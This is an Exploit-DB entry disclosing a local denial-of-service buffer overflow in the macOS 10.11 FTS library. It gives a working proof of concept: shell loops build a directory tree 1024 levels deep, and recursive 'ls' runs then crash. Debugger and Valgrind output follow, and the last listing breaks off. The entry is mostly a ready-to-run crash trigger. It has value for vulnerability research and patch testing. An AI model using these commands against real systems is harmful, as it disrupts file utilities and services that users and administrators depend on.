Exploit-DB #38917
Description: Apple Mac OSX 10.11 - FTS Deep Structure of the FileSystem Buffer Overflow
Type: dos
Platform: osx
Date: 2015-12-09
Author: Maksymilian Arciemowicz

Exploit:
MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow
Credit: Maksymilian Arciemowicz ( CXSECURITY )
Website: 
http://cxsecurity.com/
http://cert.cx/


Affected software:
- MACOS's Commands such as: ls, find, rm 
- iPhone 4s and later,
- Apple Watch Sport, Apple Watch, Apple Watch Edition and Apple Watch Hermes
- Apple TV (4th generation)
- probably more

Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting.

PoC:
Create an direcotry and perform the following actions:


# for i in {1..1024}; do mkdir B && cd B; done
...
cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory


If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g.


# for i in {1..1024}; do cd .. ; done


Then you can perform recursive 'ls' command. Let's run it ten times:


# for i in {1..10}; do ls -laR > /dev/null; done
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
Segmentation fault: 11
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory
Segmentation fault: 11
ls: B: No such file or directory
ls: B: No such file or directory


crash randometly. Let's see valgrind and lldb 


LLDB:
...
/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8

./B/B/B/B/B/B/B/B/..../B/B:
Process 987 stopped
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
libsystem_c.dylib`strlen:
-> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0
0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi
0x7fff97ab6d3a <+26>: andq $0xf, %rcx
0x7fff97ab6d3e <+30>: orq $-0x1, %rax

(lldb) x/x $rdi
error: memory read failed for 0xfeb66c00
(lldb) register read
General Purpose Registers:
rax = 0x00000000ffffffff
rbx = 0x00000000ffffffff
rcx = 0x00000000feb66c08
rdx = 0x00000000feb66c08
rdi = 0x00000000feb66c00
rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742
rbp = 0x00007fff5fbfe710
rsp = 0x00007fff5fbfe710
...
rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
...
(lldb) bt
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)
* frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18
frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713
frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669
frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596
frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80
frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128
frame #6: 0x[PII_REDACTED]0024a8 ls`___lldb_unnamed_function16$$ls + 1564
frame #7: 0x[PII_REDACTED]001cfd ls`___lldb_unnamed_function14$$ls + 421
frame #8: 0x[PII_REDACTED]001a70 ls`___lldb_unnamed_function13$$ls + 2300
frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1

=== Time for Valgrind =============

B/B/B/B/B/../B:
total 0
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8

./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/